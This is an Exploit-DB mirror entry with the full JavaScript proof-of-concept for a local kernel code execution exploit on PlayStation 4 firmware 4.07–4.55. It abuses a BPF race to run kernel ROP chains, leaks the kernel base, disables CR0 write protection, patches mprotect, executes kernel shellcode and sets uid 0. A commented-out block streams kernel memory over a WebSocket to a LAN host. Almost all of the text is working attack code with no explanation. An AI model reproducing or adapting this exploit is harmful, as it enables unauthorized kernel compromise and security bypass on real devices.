Sony Playstation 4 (PS4) 4.07 < 4.55 - 'bpf' Local Kernel Code Execution (PoC)

  • 作者: qwertyoruiop
    日期: 2018-02-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44177/
  • function stage4_()
    {
    function malloc(sz)
    {
    var backing = new Uint8Array(1000+sz);
    window.nogc.push(backing);
    var ptr = p.read8(p.leakval(backing).add32(0x10));
    ptr.backing = backing;
    return ptr;
    }
    function malloc32(sz)
    {
    var backing = new Uint8Array(0x1000+sz*4);
    window.nogc.push(backing);
    var ptr = p.read8(p.leakval(backing).add32(0x10));
    ptr.backing = new Uint32Array(backing.buffer);
    return ptr;
    }
    var strcpy_helper = new Uint8Array(0x1000);
    var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
    function strcpy(ptr, str)
    {
    p.write8(where_writeptr_strcpy, ptr);
    for (var i = 0; i < str.length; i++)
    strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
    strcpy_helper[str.length] = 0;
    }
    
    
    var sysctlbyname = window.libKernelBase.add32(0xF290);
    var sysreq = malloc32(0x10);
    sysreq.backing[0] = 7;
    sysreq.backing[1] = 0;
    sysreq.backing[4] = 0x10;
    
    var retv = malloc(0x100);
    var __errno_ptr = p.fcall(window.libKernelBase.add32(0x2BE0));
    
    
    var rv = p.fcall(sysctlbyname, p.sptr("machdep.openpsid"), retv, sysreq.add32(0x10), 0, 0);
    
    var str = "";
    for (var i=0; i<0x10; i++)
    {
    str += zeroFill(retv.backing[i].toString(16),2) + " ";
    }
    
     // log("psid: " + str)
    
    var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    if (fd == (-1 >>> 0))
    {
    print("kexp failed: no bpf0");
    }
    //print("fd: " + fd);
    
    var scratch = malloc(0x100);
    var ifname = malloc(0x10);
    strcpy(ifname, "wlan0");
    p.syscall("ioctl", fd, 0x8020426c, ifname);
    var ret = p.syscall("write", fd, scratch, 40);
    if (ret.low == (-1 >>> 0))
    {
    strcpy(ifname, "eth0");
    p.syscall("ioctl", fd, 0x8020426c, ifname);
    var ret = p.syscall("write", fd, scratch, 40);
    if (ret.low == (-1 >>> 0))
    {
    throw "kexp failed :(";
    }
    }
    
    var assertcnt = 0;
    var assert = function(x)
    {
    assertcnt++;
    if (!x) throw "assertion " + assertcnt + " failed";
    }
    
    print("got it");
    
    var bpf_valid = malloc32(0x4000);
    var bpf_valid_u32 = bpf_valid.backing;
    var bpf_valid_prog = malloc(0x40);
    p.write8(bpf_valid_prog, 64)
    p.write8(bpf_valid_prog.add32(8), bpf_valid)
    
    for (var i = 0 ; i < 0x4000; )
    {
    bpf_valid_u32[i++] = 6; // BPF_RET
    bpf_valid_u32[i++] = 0;
    }
    
    var bpf_invalid = malloc32(0x4000);
    var bpf_invalid_u32 = bpf_invalid.backing;
    var bpf_invalid_prog = malloc(0x40);
    p.write8(bpf_invalid_prog, 64)
    p.write8(bpf_invalid_prog.add32(8), bpf_invalid)
    
    for (var i = 0 ; i < 0x4000; )
    {
    bpf_invalid_u32[i++] = 4; // NOP
    bpf_invalid_u32[i++] = 0;
    }
    
    var push_bpf = function(bpfbuf, cmd, k)
    {
    var i = bpfbuf.i;
    if (!i) i=0;
    bpfbuf[i*2] = cmd;
    bpfbuf[i*2+1] = k;
    bpfbuf.i = i+1;
    }
    
    push_bpf(bpf_invalid_u32, 5, 2); // jump
    push_bpf(bpf_invalid_u32, 0x12, 0); // invalid opcode
    bpf_invalid_u32.i = 16;
    
    var bpf_write8imm = function(bpf, offset, imm)
    {
    if (!(imm instanceof int64))
    {
    imm = new int64(imm,0);
    }
    push_bpf(bpf, 0, imm.low); // BPF_LD|BPF_IMM
    push_bpf(bpf, 2, offset); // BPF_ST
    push_bpf(bpf, 0, imm.hi); // BPF_LD|BPF_IMM
    push_bpf(bpf, 2, offset+1); // BPF_ST -> RDI: pop rsp
    }
    
    var bpf_copy8 = function(bpf, offset_to, offset_from)
    {
    push_bpf(bpf, 0x60, offset_from); // BPF_LD|BPF_MEM
    push_bpf(bpf, 2, offset_to); // BPF_ST
    push_bpf(bpf, 0x60, offset_from+1); // BPF_LD|BPF_MEM
    push_bpf(bpf, 2, offset_to+1); // BPF_ST
    }
    var bpf_add4 = function(bpf, offset, val)
    {
    push_bpf(bpf, 0x60, offset); // BPF_LD
    push_bpf(bpf, 0x4, val); // BPF_ALU|BPF_ADD|BPF_K
    push_bpf(bpf, 2, offset); // BPF_ST
    }
    
    
    
    var krop_off_init = 0x1e;
    var krop_off = krop_off_init;
    var reset_krop = function() {
    krop_off = krop_off_init;
    bpf_invalid_u32.i = 16;
    }
    var push_krop = function(value)
    {
    bpf_write8imm(bpf_invalid_u32, krop_off, value);
    krop_off += 2;
    }
    var push_krop_fromoff = function(value)
    {
    bpf_copy8(bpf_invalid_u32, krop_off, value);
    krop_off += 2;
    }
    var finalize_krop = function(retv)
    {
    if(!retv) retv = 5;
    push_bpf(bpf_invalid_u32, 6, retv); // return 5
    }
    
    var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
    assert(rtv.low == 0);
    
    rtv = p.syscall("write", fd, scratch, 40);
    assert(rtv.low == (-1 >>> 0));
    
    var kscratch = malloc32(0x80);
    
    var kchain = new window.RopChain();
    
    kchain.clear();
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.webKitBase.add32(0x3EBD0)); 
    
    reset_krop();
    //push_krop(window.gadgets["infloop"]); // 8
    bpf_copy8(bpf_invalid_u32, 0, 0x1e);
    push_krop(window.gadgets["pop rsi"]); // 0x10
    push_krop_fromoff(0);
    push_krop(window.gadgets["pop rsp"]);
    push_krop(kchain.ropframeptr); // 8
    
    finalize_krop(0);
    
    var spawnthread = function(chain) {
    
    /*
     
     
     seg000:00000000007FA7D0 sub_7FA7D0proc near ; DATA XREF: sub_7F8330+5Eo
     seg000:00000000007FA7D0 55pushrbp
     seg000:00000000007FA7D1 48 89 E5mov rbp, rsp
     seg000:00000000007FA7D4 41 56 pushr14
     seg000:00000000007FA7D6 53pushrbx
     seg000:00000000007FA7D7 48 89 F3mov rbx, rsi
     seg000:00000000007FA7DA 49 89 FEmov r14, rdi
     seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00lea rsi, aMissingPlteBef ; "Missing PLTE before tRNS" < search this
     
     
     -> xref of sub_7FA7D0:
     
     
     seg000:00000000007F8380 48 8D 3D 28 D8 EC 00lea rdi, a1_5_18_0; "1.5.18"
     seg000:00000000007F8387 48 8D 15 82 23 00 00lea rdx, sub_7FA710
     seg000:00000000007F838E 48 8D 0D 3B 24 00 00lea rcx, sub_7FA7D0
     seg000:00000000007F8395 31 F6 xor esi, esi
     seg000:00000000007F8397 49 C7 47 20 00 00 00 00 mov qword ptr [r15+20h], 0
     seg000:00000000007F839F 66 41 C7 47 18 00 00mov word ptr [r15+18h], 0
     seg000:00000000007F83A6 49 C7 47 10 00 00 00 00 mov qword ptr [r15+10h], 0
     seg000:00000000007F83AE E8 8D 3C D3 00callsub_152C040
     
     -> code:
     
     m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
     
     
     decodingWarning -> sub_7FA7D0 (where Missing PLTE before tRNS is referenced)
     
     decodingFailed -> contains longjmp (which we want)
     
     seg000:00000000007FA710 sub_7FA710proc near ; DATA XREF: sub_7F8330+57o
     seg000:00000000007FA710 ; sub_7F9DC0+2Eo
     seg000:00000000007FA710 55pushrbp
     seg000:00000000007FA711 48 89 E5mov rbp, rsp
     seg000:00000000007FA714 48 8B 35 5D B6 E5 02mov rsi, cs:qword_3655D78
     seg000:00000000007FA71B BA 60 00 00 00mov edx, 60h ; '`'
     seg000:00000000007FA720 E8 AB E6 D2 00callsub_1528DD0
     seg000:00000000007FA725 BE 01 00 00 00mov esi, 1
     seg000:00000000007FA72A 48 89 C7mov rdi, rax
     seg000:00000000007FA72D E8 26 6D 80 FFcallsub_1458 < longjmp
     seg000:00000000007FA732 0F 0B ud2
     seg000:00000000007FA732 sub_7FA710endp
     
     
     */
    var longjmp = webKitBase.add32(0x1458);
    
    
    // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
    /*
     seg000:00000000001DD17F 48 8D 15 C9 38 4C 01lea rdx, aWebcoreGccontr ; "WebCore: GCController" < search this
     seg000:00000000001DD186 31 F6 xor esi, esi
     seg000:00000000001DD188 E8 B3 1B F9 00callsub_116ED40 < createThread
     */
    
    var createThread = window.webKitBase.add32(0x116ED40);
    
    var contextp = malloc32(0x2000);
    var contextz = contextp.backing;
    contextz[0] = 1337;
    
    var thread2 = new RopChain();
    thread2.clear();
    thread2.push(window.gadgets["ret"]); // nop
    thread2.push(window.gadgets["ret"]); // nop
    thread2.push(window.gadgets["ret"]); // nop
    thread2.push(window.gadgets["ret"]); // nop
    chain(thread2);
    
    p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
    p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
    
    p.fcall(createThread, longjmp, contextp, p.sptr("GottaGoFast"));
    
    window.nogc.push(contextz);
    window.nogc.push(thread2);
    
    return thread2;
    }
    
    var interrupt1 = 0;
    var interrupt2 = 0;
    // ioctl() with valid BPF program -> will trigger reallocation of BFP code alloc
    spawnthread(function(thread2){
    interrupt1 = thread2.ropframeptr;
    thread2.push(window.gadgets["pop rdi"]); // pop rdi
    thread2.push(fd); // what
    thread2.push(window.gadgets["pop rsi"]); // pop rsi
    thread2.push(0x8010427B); // what
    thread2.push(window.gadgets["pop rdx"]); // pop rdx
    thread2.push(bpf_valid_prog); // what
    thread2.push(window.gadgets["pop rsp"]); // pop rdx
    thread2.push(thread2.ropframeptr.add32(0x800)); // what
    thread2.count = 0x100;
    var cntr = thread2.count;
    thread2.push(window.syscalls[54]); // ioctl
    thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
    
    thread2.push(window.gadgets["pop rsp"]); // pop rdx
    thread2.push(thread2.ropframeptr); // what
    })
    
    // ioctl() with invalid BPF program -> this will be executed when triggering bug
    spawnthread(function(thread2){
    interrupt2 = thread2.ropframeptr;
    thread2.push(window.gadgets["pop rdi"]); // pop rdi
    thread2.push(fd1); // what
    thread2.push(window.gadgets["pop rsi"]); // pop rsi
    thread2.push(0x8010427B); // what
    thread2.push(window.gadgets["pop rdx"]); // pop rdx
    thread2.push(bpf_invalid_prog); // what
    thread2.push(window.gadgets["pop rsp"]); // pop rdx
    thread2.push(thread2.ropframeptr.add32(0x800)); // what
    thread2.count = 0x100;
    var cntr = thread2.count;
    thread2.push(window.syscalls[54]); // ioctl
    thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl
    
    thread2.push(window.gadgets["pop rsp"]); // pop rdx
    thread2.push(thread2.ropframeptr); // what
    })
    
    function kernel_rop_run(cb)
    {
    kchain.clear();
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.gadgets["ret"]); 
    cb(kchain);
    kchain.push(window.gadgets["pop rax"]); 
    kchain.push(0); 
    kchain.push(window.gadgets["ret"]); 
    kchain.push(window.webKitBase.add32(0x3EBD0)); 
    while(1)
    {
    if (p.syscall(4, fd, scratch, 40).low == 40)
    {
    return p.read8(kscratch);
    break;
    }
    }
    }
    function leak_kern_rip() {
    return kernel_rop_run(function(kchain)
    {
    kchain.push(window.gadgets["pop rdi"]); 
    kchain.push(kscratch); 
    kchain.push(window.gadgets["mov [rdi], rsi"]); 
    });
    }
    
    function kernel_read8(addr) {
    return kernel_rop_run(function(kchain)
    {
    kchain.push(window.gadgets["pop rdi"]); 
    kchain.push(addr); 
    kchain.push(window.webKitBase.add32(0x13A220)); // deref
    kchain.push(window.gadgets["pop rdi"]); 
    kchain.push(kscratch); 
    kchain.push(window.gadgets["mov [rdi], rax"]); 
    });
    }
    function kernel_memcpy(to,from,size) {
    return kernel_rop_run(function(kchain)
    {
    kchain.push(window.gadgets["pop rdi"]); 
    kchain.push(to); 
    kchain.push(window.gadgets["pop rsi"]); 
    kchain.push(from); 
    kchain.push(window.gadgets["pop rdx"]); 
    kchain.push(size); 
    kchain.push(window.gadgets["memcpy"]); 
    kchain.push(window.gadgets["mov [rdi], rax"]); 
    });
    }
    var kern_base = leak_kern_rip();
    kern_base.low &= 0xffffc000;
    kern_base.low -= 0x164000;
    log("ay! " + kernel_read8(kern_base) + " " + kern_base);
    
    /*
    var chunksz = 0x40000;
    var pagebuf = malloc(chunksz);
    
    connection = new WebSocket('ws://192.168.0.125:8080');
    connection.binaryType = "arraybuffer";
    connection.onmessage = function() {
    try {
    kernel_memcpy(pagebuf, kern_base, chunksz);
    connection.send(new Uint8Array(pagebuf.backing.buffer, 0, chunksz));
    kern_base.add32inplace(chunksz);
    }catch(e) {log(e);}
    }
     
     
     LOAD:FFFFFFFF9144CF70 0F 20 C0mov rax, cr0
     LOAD:FFFFFFFF9144CF73 48 0D 2A 00 05 00 orrax, 5002Ah
     LOAD:FFFFFFFF9144CF79 0F 22 C0mov cr0, rax
     LOAD:FFFFFFFF9144CF7C C3retn
     FFFFFFFF91562A58
     */
    var getset_cr0 = kern_base.add32(0x280f70);
    var set_cr0 = kern_base.add32(0x280f79);
    
    function kernel_get_cr0() {
    return kernel_rop_run(function(kchain)
    {
    kchain.push(getset_cr0); 
    kchain.push(window.gadgets["pop rdi"]); 
    kchain.push(kscratch); 
    kchain.push(window.gadgets["mov [rdi], rax"]); 
    });
    }
    
    var cr0val = kernel_get_cr0();
    cr0val.low &= ((~(1 << 16)) >>> 0);
    log("cr0: " + cr0val);
    function kernel_write8_cr0(addr, val) {
    return kernel_rop_run(function(kchain)
    {
    kchain.push(window.gadgets["pop rax"]); 
    kchain.push(cr0val); 
    kchain.push(set_cr0);
    kchain.push(window.gadgets["pop rdi"]); 
    kchain.push(addr); 
    kchain.push(window.gadgets["pop rax"]); 
    kchain.push(val); 
    kchain.push(window.gadgets["mov [rdi], rax"]);
    kchain.push(getset_cr0);
    });
    }
    function kernel_fcall(addr, arg0, arg1) {
    return kernel_rop_run(function(kchain)
    {
    if(arg0)
    {
    kchain.push(window.gadgets["pop rdi"]);
    kchain.push(arg0);
    }
    if(arg1)
    {
    kchain.push(window.gadgets["pop rsi"]);
    kchain.push(arg1);
    }
    kchain.push(addr);
    
    kchain.push(window.gadgets["pop rdi"]);
    kchain.push(kscratch);
    kchain.push(window.gadgets["mov [rdi], rax"]);
    });
    }
    
    var mprotect_patchloc = kern_base.add32(0x396a58);
    var mprotect_patchbytes = kernel_read8(mprotect_patchloc);
    var mprotect_realbytes = mprotect_patchbytes;
    
    log("patchbytes: " + mprotect_patchbytes);
    mprotect_patchbytes.low = 0x90909090;
    mprotect_patchbytes.hi &= 0xffff0000;
    mprotect_patchbytes.hi |= 0x00009090;
    
    
    var shellsize = window.shellcode.byteLength;
    shellsize += 0x4000;
    shellsize &= 0xffffc000;
    
    var shellscratch_to = malloc32((0x10000 + shellsize)/4);
    
    var origin_to = shellscratch_to.low;
    shellscratch_to.low &= 0xffffc000;
    shellscratch_to.low += 0x8000;
    var offset = (shellscratch_to.low - origin_to) / 4;
    
    for (var i=0; i < window.shellcode.length; i++)
    {
    shellscratch_to.backing[i+offset] = window.shellcode[i];
    }
    
    
    kernel_write8_cr0(mprotect_patchloc,mprotect_patchbytes);
    var mapz = p.syscall("mprotect", shellscratch_to, shellsize, 7);
    kernel_write8_cr0(mprotect_patchloc,mprotect_realbytes);
    if (mapz.low != 0) throw "mprot fail!";
    
    faultme = shellscratch_to.add32(0x0);
    
    for (var i=0; i < window.shellcode.length; i+= 0x1000)
    {
    var bck = p.read8(faultme);
    p.write8(faultme, 0xc3)
    p.fcall(faultme); // test faulting
    p.write8(faultme, bck)
    }
    p.syscall("mlock", shellscratch_to, shellsize);
    var pyld_buf = p.read8(p.leakval(window.pyld).add32(0x10));
    
    var zarguments = malloc32(0x1000);
    p.write8(zarguments, kern_base);
    p.write8(zarguments.add32(8), fd_kcall);
    p.write8(zarguments.add32(16), interrupt1);
    p.write8(zarguments.add32(24), interrupt2);
    p.write8(zarguments.add32(32), window.syscalls[431]);
    p.write8(zarguments.add32(40), window.syscalls[591]);
    p.write8(zarguments.add32(48), window.syscalls[594]);
    p.write8(zarguments.add32(56), pyld_buf); // pyld
    p.write8(zarguments.add32(64), window.pyldpoint);
    p.write8(zarguments.add32(72), window.pyld.byteLength);
    
    var fd_kcall = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
    
    log(p.read8(shellscratch_to.add32(window.entrypoint)));
    log("kernel shellcode: " + kernel_fcall(shellscratch_to.add32(window.entrypoint), 1, zarguments));
    p.syscall("setuid", 0);
    log("uid: " + p.syscall("getuid"));
    alert("enter user");
    log("user shellcode: " + p.fcall(shellscratch_to.add32(window.entrypoint), 2, zarguments));
    
    var lsscrtch32 = new Uint32Array(0x400);
    var lsscrtch = p.read8(p.leakval(lsscrtch32).add32(0x10));
    window.ls = function(path)
    {
    var sep = "/"
    if (path[path.length-1]=="/") sep = "";
    
    var fd = p.syscall("open", p.sptr(path), 0x1100004).low;
    if (fd == (-1 >>> 0))
    {
    print("open("+path+"): -1");
    return;
    }
    
    alert("getdenv");
    
    print("Directory listing for " +path+":");
    var total = p.syscall("getdents", fd, lsscrtch, 0x1000).low;
    if (total == (-1 >>> 0))
    {
    print("getdents("+path+"): -1");
    return;
    }
    
    alert("got denv");
    
    var offset = 0;
    while (offset < total)
    {
    var cur = lsscrtch.add32(offset);
    var reclen = p.read4(cur.add32(4)) & 0xFFFF;
    var filepath = path + sep + p.readstr(cur.add32(8));
    print("<a href=javascript:window.ls('" + filepath + "');>" + filepath + "</a>");
    offset += reclen;
    if(!reclen) break;
    }
    p.syscall("close", fd);
    }
    print("<a href=javascript:window.ls('/');>ls /</a>");
    
    }